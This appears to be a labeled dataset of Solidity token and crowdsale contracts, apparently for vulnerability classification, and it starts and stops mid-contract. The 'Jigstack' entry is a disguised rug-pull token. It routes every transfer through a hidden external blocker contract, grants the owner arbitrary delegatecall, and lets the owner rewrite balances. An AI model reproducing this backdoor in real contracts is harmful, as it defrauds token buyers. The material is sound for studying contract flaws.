mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) onlyOwner {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
reservedTokensList[addr] = ReservedTokensData({inTokens:inTokens, inPercentageUnit:inPercentageUnit, inPercentageDecimals: inPercentageDecimals});
}
function getReservedTokensListValInTokens(address addr) constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedTokensListValInPercentageUnit(address addr) constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedTokensListValInPercentageDecimals(address addr) constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals) onlyOwner {
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed) CrowdsaleExt(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) constant returns (bool limitBroken) {
if (!isWhiteListed) throw;
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableTokenExt mintableToken = MintableTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
function setMaximumSellableTokens(uint tokens) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
} | 0 | 159 |
pragma solidity ^ 0.4 .24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns(uint256);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath
for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns(uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns(uint256);
function transferFrom(address from, address to, uint256 value)
public returns(bool);
function approve(address spender, uint256 value) public returns(bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns(uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns(bool) {
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns(bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns(bool) {
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns(bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns(bool) {
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns(bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns(bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract TopPlayerTestToken is PausableToken {
using SafeMath
for uint256;
string public name = "Top Players Mother Token Test";
string public symbol = "TPMT Test";
string public standard = "ERC20";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 20 * (10 ** 8) * (10 ** 18);
event ReleaseTarget(address target);
mapping(address => TimeLock[]) public allocations;
address[] public receiptors;
address[] public froms;
address[] public tos;
uint[] public timess;
uint256[] public balancess;
uint[] public createTimes;
struct TimeLock {
uint time;
uint256 balance;
uint createTime;
}
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
function getAllocations() public view returns(address[], address[], uint[], uint256[], uint[]){
getInfos();
return (froms, tos, timess, balancess, createTimes);
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(canSubAllocation(msg.sender, _value));
subAllocation(msg.sender);
return super.transfer(_to, _value);
}
function canSubAllocation(address sender, uint256 sub_value) private constant returns(bool) {
if (sub_value == 0) {
return false;
}
if (balances[sender] < sub_value) {
return false;
}
uint256 alllock_sum = 0;
for (uint j = 0; j < allocations[sender].length; j++) {
if (allocations[sender][j].time >= block.timestamp) {
alllock_sum = alllock_sum.add(allocations[sender][j].balance);
}
}
uint256 can_unlock = balances[sender].sub(alllock_sum);
return can_unlock >= sub_value;
}
function subAllocation(address sender) private {
for (uint j = 0; j < allocations[sender].length; j++) {
if (allocations[sender][j].time < block.timestamp) {
allocations[sender][j].balance = 0;
}
}
}
function setAllocation(address _address, uint256 total_value, uint time, uint256 balanceRequire) public onlyOwner returns(bool) {
uint256 sum = 0;
sum = sum.add(balanceRequire);
require(total_value >= sum);
require(balances[msg.sender] >= sum);
uint256 createTime;
if(allocations[_address].length == 0){
receiptors.push(_address);
}
bool find = false;
for (uint j = 0; j < allocations[_address].length; j++) {
if (allocations[_address][j].time == time) {
allocations[_address][j].balance = allocations[_address][j].balance.add(balanceRequire);
find = true;
break;
}
}
if (!find) {
createTime = now;
allocations[_address].push(TimeLock(time, balanceRequire, createTime));
}
bool result = super.transfer(_address, total_value);
emit Transferred(msg.sender, _address, createTime, total_value, time);
return result;
}
function releaseAllocation(address target) public onlyOwner {
require(balances[target] > 0);
for (uint j = 0; j < allocations[target].length; j++) {
allocations[target][j].balance = 0;
}
emit ReleaseTarget(target);
}
event Transferred(address from, address to, uint256 createAt, uint256 total_value, uint time);
function getInfos() public {
if (msg.sender == owner){
for (uint i=0; i<receiptors.length; i++){
for (uint j=0; j<allocations[receiptors[i]].length; j++){
froms.push(owner);
tos.push(receiptors[i]);
timess.push(allocations[receiptors[i]][j].time);
balancess.push(allocations[receiptors[i]][j].balance);
createTimes.push(allocations[receiptors[i]][j].createTime);
}
}
}else{
for (uint k=0; k<allocations[msg.sender].length; k++){
froms.push(owner);
tos.push(msg.sender);
timess.push(allocations[msg.sender][k].time);
balancess.push(allocations[msg.sender][k].balance);
createTimes.push(allocations[msg.sender][k].createTime);
}
}
}
} | 0 | 2 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Jigstack is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 3000000000000000000000000000;
string public name = "Jigstack";
string public symbol = "STAK";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 3,731 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract DreamCoin {
string public constant _myTokeName = 'Dream Coin';
string public constant _mySymbol = 'DC';
uint public constant _myinitialSupply = 100000000;
uint8 public constant _myDecimal = 18;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function DreamCoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
decimals = _myDecimal;
totalSupply = _myinitialSupply * (10 ** uint256(_myDecimal));
balanceOf[msg.sender] = totalSupply;
name = _myTokeName;
symbol = _mySymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract MyAdvancedToken is owned, DreamCoin {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) DreamCoin(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 3,915 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WhiteListCrowdsale is
CappedCrowdsale,
Ownable
{
uint8 public constant WHITELIST_BONUS_RATE = 10;
uint8 public constant REFERRAL_SHARE_RATE = 50;
uint256 public whiteListRegistrationEndTime;
uint256 public whiteListEndTime;
mapping(address => bool) public isWhiteListed;
mapping(bytes32 => address) internal referralCodes;
mapping(address => address) internal referrals;
event WhiteListedInvestorAdded(
address indexed investor,
string referralCode
);
event ReferredInvestorAdded(
string referralCode,
address referredInvestor
);
event ReferredBonusTokensEmitted(
address indexed beneficiary,
uint256 amount
);
event WhiteListBonusTokensEmitted(
address indexed beneficiary,
uint256 amount
);
function WhiteListCrowdsale(uint256 _whiteListRegistrationEndTime, uint256 _whiteListEndTime) public {
require(_whiteListEndTime > startTime);
whiteListEndTime = _whiteListEndTime;
whiteListRegistrationEndTime = _whiteListRegistrationEndTime;
}
function buyTokens(address _beneficiary) public payable
{
require(validWhiteListedPurchase(_beneficiary));
super.buyTokens(_beneficiary);
uint256 bonusTokens = computeBonusTokens(_beneficiary, msg.value);
if (isReferred(_beneficiary))
{
uint256 bonusTokensForReferral = bonusTokens.mul(REFERRAL_SHARE_RATE).div(100);
uint256 bonusTokensForReferred = bonusTokens.sub(bonusTokensForReferral);
token.mint(_beneficiary, bonusTokensForReferred);
token.mint(referrals[_beneficiary], bonusTokensForReferral);
ReferredBonusTokensEmitted(_beneficiary, bonusTokensForReferred);
WhiteListBonusTokensEmitted(referrals[_beneficiary], bonusTokensForReferral);
}
else if (isWhiteListed[_beneficiary])
{
token.mint(_beneficiary, bonusTokens);
WhiteListBonusTokensEmitted(_beneficiary, bonusTokens);
}
}
function addWhiteListedInvestor(address _investor, string _referralCode) public
{
require(block.timestamp <= whiteListRegistrationEndTime);
require(_investor != 0);
require(!isWhiteListed[_investor]);
bytes32 referralCodeHash = keccak256(_referralCode);
require(referralCodes[referralCodeHash] == 0x0);
isWhiteListed[_investor] = true;
referralCodes[referralCodeHash] = _investor;
WhiteListedInvestorAdded(_investor, _referralCode);
}
function loadWhiteList(address[] _investors, bytes32[] _referralCodes) public onlyOwner
{
require(_investors.length <= 30);
require(_investors.length == _referralCodes.length);
for (uint i = 0; i < _investors.length; i++)
{
isWhiteListed[_investors[i]] = true;
referralCodes[_referralCodes[i]] = _investors[i];
}
}
function addReferredInvestor(string _referralCode, address _referredInvestor) public
{
require(!hasEnded());
require(!isWhiteListed[_referredInvestor]);
require(_referredInvestor != 0);
require(referrals[_referredInvestor] == 0x0);
bytes32 referralCodeHash = keccak256(_referralCode);
require(referralCodes[referralCodeHash] != 0);
referrals[_referredInvestor] = referralCodes[referralCodeHash];
ReferredInvestorAdded(_referralCode, _referredInvestor);
}
function loadReferredInvestors(bytes32[] _referralCodes, address[] _investors) public onlyOwner
{
require(_investors.length <= 30);
require(_investors.length == _referralCodes.length);
for (uint i = 0; i < _investors.length; i++)
{
referrals[_investors[i]] = referralCodes[_referralCodes[i]];
}
}
function isReferred(address _investor) public constant returns (bool)
{
return referrals[_investor] != 0x0;
}
function validWhiteListedPurchase(address _investor) internal constant returns (bool)
{
return isWhiteListed[_investor] || isReferred(_investor) || block.timestamp > whiteListEndTime;
}
function computeBonusTokens(address _beneficiary, uint256 _weiAmount) internal constant returns (uint256)
{
if (isReferred(_beneficiary) || isWhiteListed[_beneficiary]) {
uint256 bonusTokens = _weiAmount.mul(rate).mul(WHITELIST_BONUS_RATE).div(100);
if (block.timestamp > whiteListEndTime) {
bonusTokens = bonusTokens.div(2);
}
return bonusTokens;
}
else
{
return 0;
}
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public constant returns (bool) {
return weiRaised >= goal;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract DemeterCrowdsale is
RefundableCrowdsale,
WhiteListCrowdsale,
Pausable,
Destructible
{
uint8 constant public PERC_TOKENS_TO_INVESTOR = 30;
uint8 constant public PERC_TOKENS_TO_RELEASE = 25;
address constant public RELEASE_WALLET = 0x867D85437d27cA97e1EB574250efbba487aca637;
uint8 constant public PERC_TOKENS_TO_DEV = 20;
address constant public DEV_WALLET = 0x70323222694584c68BD5a29194bb72c248e715F7;
uint8 constant public PERC_TOKENS_TO_BIZDEV = 25;
address constant public BIZDEV_WALLET = 0xE43053e265F04f690021735E02BBA559Cea681D6;
event CompanyTokensIssued(
address indexed investor,
uint256 value,
uint256 amount
);
function DemeterCrowdsale(
uint256 _startTime,
